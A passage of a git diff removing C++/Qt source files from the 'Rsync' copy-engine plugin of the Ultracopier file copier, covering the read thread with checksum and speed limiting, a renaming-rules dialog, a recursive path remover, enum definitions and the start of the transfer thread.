- tryStartRead=true;
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is in read loop");
- return;
- }
- if(!file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] file is not open");
- return;
- }
- emit internalStartRead();
-}
-
-bool ReadThread::seek(qint64 position)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start with: "+QString::number(position));
- if(position>file.size())
- return false;
- return file.seek(position);
-}
-
-qint64 ReadThread::size()
-{
- return file.size();
-}
-
-void ReadThread::postOperation()
-{
- emit internalStartClose();
-}
-
-void ReadThread::checkSum()
-{
- QByteArray blockArray;
- QCryptographicHash hash(QCryptographicHash::Sha1);
- isInReadLoop=true;
- lastGoodPosition=0;
- seek(0);
- int sizeReaden=0;
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- isInReadLoop=false;
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Checksum;
- #endif
- hash.addData(blockArray);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- isInReadLoop=false;
- return;
- }
- isInReadLoop=false;
- if(stopIt)
- {
- if(putInPause)
- emit isInPause();
- stopIt=false;
- return;
- }
- emit checksumFinish(hash.result());
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-bool ReadThread::internalOpen(bool resetLastGoodPosition)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] internalOpen source: "+name);
- stopIt=false;
- putInPause=false;
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- if(file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] already open! source: "+name);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- file.setFileName(name);
- QIODevice::OpenMode openMode=QIODevice::ReadOnly;
- if(mode==Move)
- openMode=QIODevice::ReadWrite;
- seekToZero=false;
- if(file.open(openMode))
- {
- size_at_open=file.size();
- mtime_at_open=QFileInfo(file).lastModified();
- putInPause=false;
- if(resetLastGoodPosition)
- {
- lastGoodPosition=0;
- seek(0);
- emit opened();
- }
- else if(!seek(lastGoodPosition))
- {
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to seek after open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- isOpen.acquire();
- return true;
- }
- else
- {
- errorString_internal=file.errorString();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Unable to open: %1, error: %2").arg(name).arg(errorString_internal));
- emit error();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- return false;
- }
-}
-
-void ReadThread::internalRead()
-{
- isInReadLoop=true;
- tryStartRead=false;
- if(stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopIt == true, then quit");
- internalClose();
- return;
- }
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=InodeOperation;
- #endif
- int sizeReaden=0;
- if(!file.isOpen())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] is not open!");
- return;
- }
- QByteArray blockArray;
- //numberOfBlockCopied = 0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start the copy");
- emit readIsStarted();
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
- if(stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopIt == true, then quit");
- internalClose();
- return;
- }
- do
- {
- //read one block
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Read;
- #endif
- blockArray=file.read(blockSize);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(file.error()!=QFile::NoError)
- {
- errorString_internal=tr("Unable to read the source file: ")+file.errorString()+" ("+QString::number(file.error())+")";
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
- emit error();
- isInReadLoop=false;
- return;
- }
- sizeReaden=blockArray.size();
- if(sizeReaden>0)
- {
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=WaitWritePipe;
- #endif
- if(!writeThread->write(blockArray))
- {
- if(!stopIt)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] stopped because the write is stopped: "+QString::number(lastGoodPosition));
- stopIt=true;
- }
- }
-
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- stat=Idle;
- #endif
-
- if(stopIt)
- break;
-
- lastGoodPosition+=blockArray.size();
-
- //wait for limitation speed if stop not query
- if(maxSpeed>0)
- {
- numberOfBlockCopied++;
- if(numberOfBlockCopied>=MultiForBigSpeed)
- {
- numberOfBlockCopied=0;
- waitNewClockForSpeed.acquire();
- if(stopIt)
- break;
- }
- }
- }
- /*
- if(lastGoodPosition>16*1024)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error()));
- errorString_internal=QString("Test error in reading: %1 (%2)").arg(file.errorString()).arg(file.error());
- emit error();
- isInReadLoop=false;
- return;
- }
- */
- }
- while(sizeReaden>0 && !stopIt);
- if(lastGoodPosition>file.size())
- {
- errorString_internal=tr("File truncated during the read, possible data change");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] "+QString("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
- emit error();
- isInReadLoop=false;
- return;
- }
- isInReadLoop=false;
- if(stopIt)
- {
- if(putInPause)
- emit isInPause();
- stopIt=false;
- return;
- }
- emit readIsStopped();//will product by signal connection writeThread->endIsDetected();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] stop the read");
-}
-
-void ReadThread::startRead()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(tryStartRead)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] already in try start");
- return;
- }
- if(isInReadLoop)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] double event dropped");
- else
- {
- tryStartRead=true;
- emit internalStartRead();
- }
-}
-
-void ReadThread::internalClose(bool callByTheDestructor)
-{
- /// \note never send signal here, because it's called by the destructor
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(!fakeMode)
- file.close();
- if(!callByTheDestructor)
- emit closed();
-
- /// \note always the last of this function
- if(!fakeMode)
- isOpen.release();
-}
-
-/** \brief set block size
-\param block the new block size in KB
-\return Return true if succes */
-bool ReadThread::setBlockSize(const int blockSize)
-{
- if(blockSize<1 || blockSize>16384)
- {
- this->blockSize=blockSize*1024;
- //set the new max speed because the timer have changed
- setMaxSpeed(maxSpeed);
- return true;
- }
- else
- return false;
-}
-
-/*! \brief Set the max speed
-\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
-int ReadThread::setMaxSpeed(const int maxSpeed)
-{
- if(this->maxSpeed==0 && maxSpeed==0 && waitNewClockForSpeed.available()>0)
- waitNewClockForSpeed.tryAcquire(waitNewClockForSpeed.available());
- this->maxSpeed=maxSpeed;
- if(this->maxSpeed>0)
- {
- int NewInterval,newMultiForBigSpeed=0;
- do
- {
- newMultiForBigSpeed++;
- NewInterval=(blockSize*newMultiForBigSpeed)/(this->maxSpeed);
- }
- while (NewInterval<ULTRACOPIER_PLUGIN_MINTIMERINTERVAL);
- if(NewInterval>ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL)
- {
- NewInterval=ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL;
- newMultiForBigSpeed=1;
- blockSize=this->maxSpeed*NewInterval;
- }
- MultiForBigSpeed=newMultiForBigSpeed;
- return NewInterval;
- }
- else
- {
- waitNewClockForSpeed.release();
- return 0;
- }
-}
-
-/// \brief For give timer every X ms
-void ReadThread::timeOfTheBlockCopyFinished()
-{
- if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
- waitNewClockForSpeed.release();
- //why not just use waitNewClockForSpeed.release() ?
-}
-
-/// \brief do the fake open
-void ReadThread::fakeOpen()
-{
- fakeMode=true;
- emit opened();
-}
-
-/// \brief do the fake writeIsStarted
-void ReadThread::fakeReadIsStarted()
-{
- emit readIsStarted();
-}
-
-/// \brief do the fake writeIsStopped
-void ReadThread::fakeReadIsStopped()
-{
- emit readIsStopped();
-}
-
-/// do the checksum
-void ReadThread::startCheckSum()
-{
- emit internalStartChecksum();
-}
-
-qint64 ReadThread::getLastGoodPosition()
-{
- /*if(lastGoodPosition>file.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"["+QString::number(id)+"] Bug, the lastGoodPosition is greater than the file size!");
- return file.size();
- }
- else*/
- return lastGoodPosition;
-}
-
-//reopen after an error
-void ReadThread::reopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(isInReadLoop)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] try reopen where read is not finish");
- return;
- }
- stopIt=true;
- emit internalStartReopen();
-}
-
-bool ReadThread::internalReopen()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=false;
- file.close();
- if(size_at_open!=file.size() && mtime_at_open!=QFileInfo(file).lastModified())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"["+QString::number(id)+"] source file have changed since the last open, restart all");
- //fix this function like the close function
- if(internalOpen(true))
- {
- emit resumeAfterErrorByRestartAll();
- return true;
- }
- else
- return false;
- }
- else
- {
- //fix this function like the close function
- if(internalOpen(false))
- {
- emit resumeAfterErrorByRestartAtTheLastPosition();
- return true;
- }
- else
- return false;
- }
-}
-
-//set the write thread
-void ReadThread::setWriteThread(WriteThread * writeThread)
-{
- this->writeThread=writeThread;
-}
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG
-//to set the id
-void ReadThread::setId(int id)
-{
- this->id=id;
-}
-#endif
-
-void ReadThread::seekToZeroAndWait()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- stopIt=true;
- seekToZero=true;
- emit checkIfIsWait();
-}
-
-void ReadThread::isInWait()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"["+QString::number(id)+"] start");
- if(seekToZero)
- {
- seekToZero=false;
- if(file.isOpen())
- seek(0);
- else
- internalOpen(true);
- emit isSeekToZeroAndWait();
- }
-}
-
-bool ReadThread::isReading()
-{
- return isInReadLoop;
-}
-
diff --git a/plugins-alternative/CopyEngine/Rsync/ReadThread.h b/plugins-alternative/CopyEngine/Rsync/ReadThread.h
deleted file mode 100644
index 1d1eabc..0000000
--- a/plugins-alternative/CopyEngine/Rsync/ReadThread.h
+++ /dev/null
@@ -1,144 +0,0 @@
-/** \file ReadThread.h
-\brief Thread changed to open/close and read the source file
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef READTHREAD_H
-#define READTHREAD_H
-
-#include <QThread>
-#include <QByteArray>
-#include <QSemaphore>
-#include <QTimer>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QCryptographicHash>
-
-#include "WriteThread.h"
-#include "Environment.h"
-#include "StructEnumDefinition_CopyEngine.h"
-#include "AvancedQFile.h"
-
-/// \brief Thread changed to open/close and read the source file
-class ReadThread : public QThread
-{
- Q_OBJECT
-public:
- explicit ReadThread();
- ~ReadThread();
-protected:
- void run();
-public:
- /// \brief open with the name and copy mode
- void open(const QString &name,const CopyMode &mode);
- /// \brief return the error string
- QString errorString();
- //QByteArray read(qint64 position,qint64 maxSize);
- /// \brief stop the copy
- void stop();
- /// \brief put the copy in pause
- bool pause();
- /// \brief resume the copy
- void resume();
- /// \brief get the size of the source file
- qint64 size();
- /// \brief get the last good position
- qint64 getLastGoodPosition();
- /// \brief start the reading of the source file
- void startRead();
- /// \brief set the current max speed in KB/s
- int setMaxSpeed(int maxSpeed);
- /// \brief set block size in KB
- bool setBlockSize(const int blockSize);
- /// \brief reopen after an error
- void reopen();
- /// \brief set the write thread
- void setWriteThread(WriteThread * writeThread);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief to set the id
- void setId(int id);
- /// \brief stat
- enum ReadStat
- {
- Idle=0,
- InodeOperation=1,
- Read=2,
- WaitWritePipe=3,
- Checksum=4
- };
- ReadStat stat;
- #endif
- /// \brief return if it's reading
- bool isReading();
- /// \brief executed at regular interval to do a speed throling
- void timeOfTheBlockCopyFinished();
- /// \brief do the fake open
- void fakeOpen();
- /// \brief do the fake readIsStarted
- void fakeReadIsStarted();
- /// \brief do the fake readIsStopped
- void fakeReadIsStopped();
- /// do the checksum
- void startCheckSum();
-public slots:
- /// \brief to reset the copy, and put at the same state when it just open
- void seekToZeroAndWait();
- void postOperation();
- /// do the checksum
- void checkSum();
-signals:
- void error();
- void isInPause();
- void opened();
- void readIsStarted();
- void readIsStopped();
- void closed();
- void isSeekToZeroAndWait();
- void checkIfIsWait();
- void resumeAfterErrorByRestartAll();
- void resumeAfterErrorByRestartAtTheLastPosition();
- void checksumFinish(const QByteArray&);
- // internal signals
- void internalStartOpen();
- void internalStartChecksum();
- void internalStartReopen();
- void internalStartRead();
- void internalStartClose();
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
-
-private:
- QString name;
- QString errorString_internal;
- AvancedQFile file;
- volatile bool stopIt;
- CopyMode mode;
- qint64 lastGoodPosition;
- volatile int blockSize;
- volatile int maxSpeed; ///< The max speed in KB/s, 0 for no limit
- QSemaphore waitNewClockForSpeed;
- volatile int numberOfBlockCopied; ///< Multiple for count the number of block copied
- volatile int multiplicatorForBigSpeed; ///< Multiple for count the number of block needed
- volatile int MultiForBigSpeed;
- WriteThread* writeThread;
- int id;
- QSemaphore isOpen;
- volatile bool putInPause;
- volatile bool isInReadLoop;
- volatile bool seekToZero;
- volatile bool tryStartRead;
- qint64 size_at_open;
- QDateTime mtime_at_open;
- bool fakeMode;
- //internal function
- bool seek(qint64 position);/// \todo search if is use full
-private slots:
- bool internalOpen(bool resetLastGoodPosition=true);
- bool internalReopen();
- void internalRead();
- void internalClose(bool callByTheDestructor=false);
- void isInWait();
-};
-
-#endif // READTHREAD_H
diff --git a/plugins-alternative/CopyEngine/Rsync/RenamingRules.cpp b/plugins-alternative/CopyEngine/Rsync/RenamingRules.cpp
deleted file mode 100644
index a09f66a..0000000
--- a/plugins-alternative/CopyEngine/Rsync/RenamingRules.cpp
+++ /dev/null
@@ -1,85 +0,0 @@
-#include "RenamingRules.h"
-#include "ui_RenamingRules.h"
-
-#include <QMessageBox>
-
-RenamingRules::RenamingRules(QWidget *parent) :
- QDialog(parent),
- ui(new Ui::RenamingRules)
-{
- ui->setupUi(this);
- connectUI();
- setRenamingRules("","");
-}
-
-RenamingRules::~RenamingRules()
-{
- delete ui;
-}
-
-void RenamingRules::on_buttonBox_clicked(QAbstractButton *button)
-{
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::RejectRole)
- reject();
- if(ui->buttonBox->buttonRole(button)==QDialogButtonBox::ResetRole)
- {
- setRenamingRules("","");
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
- }
-}
-
-void RenamingRules::setRenamingRules(QString firstRenamingRule,QString otherRenamingRule)
-{
- disconnectUI();
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
- if(!firstRenamingRule.isEmpty())
- ui->firstRenamingRule->setText(firstRenamingRule);
- else
- ui->firstRenamingRule->setText(tr("%1 - copy").arg("%name%"));
- if(!otherRenamingRule.isEmpty())
- ui->otherRenamingRule->setText(otherRenamingRule);
- else
- ui->otherRenamingRule->setText(tr("%1 - copy (%2)").arg("%name%").arg("%number%"));
- connectUI();
-}
-
-void RenamingRules::connectUI()
-{
- connect(ui->firstRenamingRule,SIGNAL(editingFinished()),this,SLOT(firstRenamingRule_haveChanged()));
- connect(ui->otherRenamingRule,SIGNAL(editingFinished()),this,SLOT(otherRenamingRule_haveChanged()));
-}
-
-void RenamingRules::disconnectUI()
-{
- disconnect(ui->firstRenamingRule,SIGNAL(editingFinished()),this,SLOT(firstRenamingRule_haveChanged()));
- disconnect(ui->otherRenamingRule,SIGNAL(editingFinished()),this,SLOT(otherRenamingRule_haveChanged()));
-}
-
-void RenamingRules::firstRenamingRule_haveChanged()
-{
- QString newValue=ui->firstRenamingRule->text();
- if(newValue==tr("%1 - copy").arg("%name%"))
- newValue="";
- if(newValue==firstRenamingRule)
- return;
- firstRenamingRule=newValue;
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void RenamingRules::otherRenamingRule_haveChanged()
-{
- QString newValue=ui->otherRenamingRule->text();
- if(newValue==tr("%1 - copy (%2)").arg("%name%").arg("%number%"))
- newValue="";
- if(newValue==otherRenamingRule)
- return;
- otherRenamingRule=newValue;
- emit sendNewRenamingRules(firstRenamingRule,otherRenamingRule);
-}
-
-void RenamingRules::newLanguageLoaded()
-{
- ui->retranslateUi(this);
- setRenamingRules(firstRenamingRule,otherRenamingRule);
-}
diff --git a/plugins-alternative/CopyEngine/Rsync/RenamingRules.h b/plugins-alternative/CopyEngine/Rsync/RenamingRules.h
deleted file mode 100644
index 2fd9580..0000000
--- a/plugins-alternative/CopyEngine/Rsync/RenamingRules.h
+++ /dev/null
@@ -1,34 +0,0 @@
-#ifndef RENAMINGRULES_H
-#define RENAMINGRULES_H
-
-#include <QDialog>
-#include <QAbstractButton>
-
-namespace Ui {
-class RenamingRules;
-}
-
-/** Define rules for renaming */
-class RenamingRules : public QDialog
-{
- Q_OBJECT
-public:
- explicit RenamingRules(QWidget *parent = 0);
- ~RenamingRules();
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void newLanguageLoaded();
-private:
- Ui::RenamingRules *ui;
- void connectUI();
- void disconnectUI();
- QString firstRenamingRule;
- QString otherRenamingRule;
-private slots:
- void on_buttonBox_clicked(QAbstractButton *button);
- void firstRenamingRule_haveChanged();
- void otherRenamingRule_haveChanged();
-signals:
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-};
-
-#endif // RENAMINGRULES_H
diff --git a/plugins-alternative/CopyEngine/Rsync/RmPath.cpp b/plugins-alternative/CopyEngine/Rsync/RmPath.cpp
deleted file mode 100644
index 636b5ba..0000000
--- a/plugins-alternative/CopyEngine/Rsync/RmPath.cpp
+++ /dev/null
@@ -1,179 +0,0 @@
-#include "RmPath.h"
-
-RmPath::RmPath()
-{
- stopIt=false;
- waitAction=false;
- setObjectName("RmPath");
- moveToThread(this);
- start();
-}
-
-RmPath::~RmPath()
-{
- stopIt=true;
- quit();
- wait();
-}
-
-void RmPath::addPath(const QString &path,const bool &toSync)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- if(stopIt)
- return;
- emit internalStartAddPath(path,toSync);
-}
-
-void RmPath::skip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartSkip();
-}
-
-void RmPath::retry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit internalStartRetry();
-}
-
-void RmPath::run()
-{
- connect(this,SIGNAL(internalStartAddPath(QString,bool)),this,SLOT(internalAddPath(QString,bool)),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartDoThisPath()),this,SLOT(internalDoThisPath()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartSkip()),this,SLOT(internalSkip()),Qt::QueuedConnection);
- connect(this,SIGNAL(internalStartRetry()),this,SLOT(internalRetry()),Qt::QueuedConnection);
- exec();
-}
-
-void RmPath::internalDoThisPath()
-{
- if(waitAction || pathList.isEmpty())
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+pathList.first());
- if(!toSyncList.first())
- {
- if(!rmpath(pathList.first(),false))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
- return;
- }
- }
- else
- {
- if(QFileInfo(pathList.first()).isDir())
- {
- if(!rmpath(pathList.first(),true))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the folder: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to remove the folder"));
- return;
- }
- }
- else if(!rmfile(pathList.first()))
- {
- if(stopIt)
- return;
- waitAction=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Unable to remove the file: "+pathList.first());
- emit errorOnFolder(pathList.first(),tr("Unable to remove the file"));
- return;
- }
- }
- pathList.removeFirst();
- toSyncList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-bool RmPath::rmfile(QString filePath)
-{
- QFile file(filePath);
- if(!file.remove())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the file: "+file.fileName()+", error: "+file.errorString());
- return false;
- }
- else
- return true;
-}
-
-/** remplace QDir::rmpath() because it return false if the folder not exists
- and seam bug with parent folder */
-bool RmPath::rmpath(const QDir &dir,const bool &toSync)
-{
- if(!dir.exists())
- return true;
- bool allHaveWork=true;
- QFileInfoList list = dir.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst);
- for (int i = 0; i < list.size(); ++i)
- {
- QFileInfo fileInfo(list.at(i));
- if(!fileInfo.isDir())
- {
- if(toSync)
- {
- if(!rmfile(fileInfo.absoluteFilePath()))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove a file: "+fileInfo.fileName());
- allHaveWork=false;
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"found a file: "+fileInfo.fileName());
- allHaveWork=false;
- }
- }
- else
- {
- //return the fonction for scan the new folder
- if(!rmpath(dir.absolutePath()+'/'+fileInfo.fileName()+'/',toSync))
- allHaveWork=false;
- }
- }
- if(!allHaveWork)
- return false;
- allHaveWork=dir.rmdir(dir.absolutePath());
- if(!allHaveWork)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to remove the folder: "+dir.absolutePath());
- return allHaveWork;
-}
-
-void RmPath::internalAddPath(const QString &path,const bool &toSync)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start: "+path);
- pathList << path;
- toSyncList << toSync;
- if(!waitAction)
- checkIfCanDoTheNext();
-}
-
-void RmPath::checkIfCanDoTheNext()
-{
- if(!waitAction && !stopIt && pathList.size()>0)
- emit internalStartDoThisPath();
-}
-
-void RmPath::internalSkip()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- pathList.removeFirst();
- emit firstFolderFinish();
- checkIfCanDoTheNext();
-}
-
-void RmPath::internalRetry()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- waitAction=false;
- checkIfCanDoTheNext();
-}
-
diff --git a/plugins-alternative/CopyEngine/Rsync/RmPath.h b/plugins-alternative/CopyEngine/Rsync/RmPath.h
deleted file mode 100644
index c3cd77b..0000000
--- a/plugins-alternative/CopyEngine/Rsync/RmPath.h
+++ /dev/null
@@ -1,58 +0,0 @@
-/** \file RmPath.h
-\brief Remove the path given as queued rmpath
-\author alpha_one_x86
-\version 0.3
-\date 2011 */
-
-#ifndef RMPATH_H
-#define RMPATH_H
-
-#include <QThread>
-#include <QFileInfo>
-#include <QString>
-#include <QSemaphore>
-#include <QStringList>
-#include <QDir>
-
-#include "Environment.h"
-
-/// \brief Remove the path given as queued rmpath
-class RmPath : public QThread
-{
- Q_OBJECT
-public:
- explicit RmPath();
- ~RmPath();
- /// \brief add new path to remove
- void addPath(const QString &path,const bool &toSync);
-signals:
- void errorOnFolder(const QFileInfo &,const QString &);
- void firstFolderFinish();
- void internalStartAddPath(const QString &path,const bool &toSync);
- void internalStartDoThisPath();
- void internalStartSkip();
- void internalStartRetry();
- void debugInformation(const DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne);
-public slots:
- void skip();
- void retry();
-private:
- void run();
- bool waitAction;
- bool stopIt;
- bool skipIt;
- QStringList pathList;
- QList<bool> toSyncList;
- void checkIfCanDoTheNext();
- QDir dir;
- bool rmpath(const QDir &dir,const bool &toSync);
- bool rmfile(QString filePath);
-private slots:
- void internalDoThisPath();
- void internalAddPath(const QString &path,const bool &toSync);
- void internalSkip();
- void internalRetry();
-};
-
-
-#endif // RMPATH_H
diff --git a/plugins-alternative/CopyEngine/Rsync/StructEnumDefinition_CopyEngine.h b/plugins-alternative/CopyEngine/Rsync/StructEnumDefinition_CopyEngine.h
deleted file mode 100644
index 90af91b..0000000
--- a/plugins-alternative/CopyEngine/Rsync/StructEnumDefinition_CopyEngine.h
+++ /dev/null
@@ -1,90 +0,0 @@
-/** \file StructEnumDefinition_CopyEngine.h
-\brief Define the structure and enumeration used in the copy engine
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QString>
-#include <QRegExp>
-
-#ifndef STRUCTDEF_COPYENGINE_H
-#define STRUCTDEF_COPYENGINE_H
-
-/// \brief Define action if file exists
-enum FileExistsAction
-{
- FileExists_NotSet,
- FileExists_Cancel,
- FileExists_Skip,
- FileExists_Overwrite,
- FileExists_OverwriteIfNewer,
- FileExists_OverwriteIfNotSameModificationDate,
- FileExists_Rename
-};
-
-/// \brief Define action if file error
-enum FileErrorAction
-{
- FileError_NotSet,
- FileError_Cancel,
- FileError_Skip,
- FileError_Retry,
- FileError_PutToEndOfTheList
-};
-
-/// \brief to have the transfer status
-enum TransferStat
-{
- TransferStat_Idle=0,
- TransferStat_PreOperation=1,
- TransferStat_WaitForTheTransfer=2,
- TransferStat_Transfer=3,
- TransferStat_Checksum=4,
- TransferStat_PostTransfer=5,
- TransferStat_PostOperation=6
-};
-
-/// \brief Define overwrite mode
-/*enum OverwriteMode
-{
- OverwriteMode_None,
- OverwriteMode_Overwrite,
- OverwriteMode_OverwriteIfNewer,
- OverwriteMode_OverwriteIfNotSameModificationDate
-};*/
-
-/// \brief Define action if file exists
-enum FolderExistsAction
-{
- FolderExists_NotSet,
- FolderExists_Cancel,
- FolderExists_Merge,
- FolderExists_Skip,
- FolderExists_Rename
-};
-
-enum SearchType
-{
- SearchType_rawText,
- SearchType_simpleRegex,
- SearchType_perlRegex,
-};
-
-enum ApplyOn
-{
- ApplyOn_file,
- ApplyOn_fileAndFolder,
- ApplyOn_folder,
-};
-
-/** to store into different way the filter rules to be exported */
-struct Filters_rules
-{
- QString search_text;
- SearchType search_type;
- ApplyOn apply_on;
- bool need_match_all;
- QRegExp regex;
-};
-
-#endif // STRUCTDEF_COPYENGINE_H
diff --git a/plugins-alternative/CopyEngine/Rsync/TransferThread.cpp b/plugins-alternative/CopyEngine/Rsync/TransferThread.cpp
deleted file mode 100644
index 5557a1e..0000000
--- a/plugins-alternative/CopyEngine/Rsync/TransferThread.cpp
+++ /dev/null
@@ -1,1252 +0,0 @@
-//presume bug linked as multple paralelle inode to resume after "overwrite"
-//then do overwrite node function to not re-set the file name
-
-#include "TransferThread.h"
-
-#ifdef Q_CC_GNU
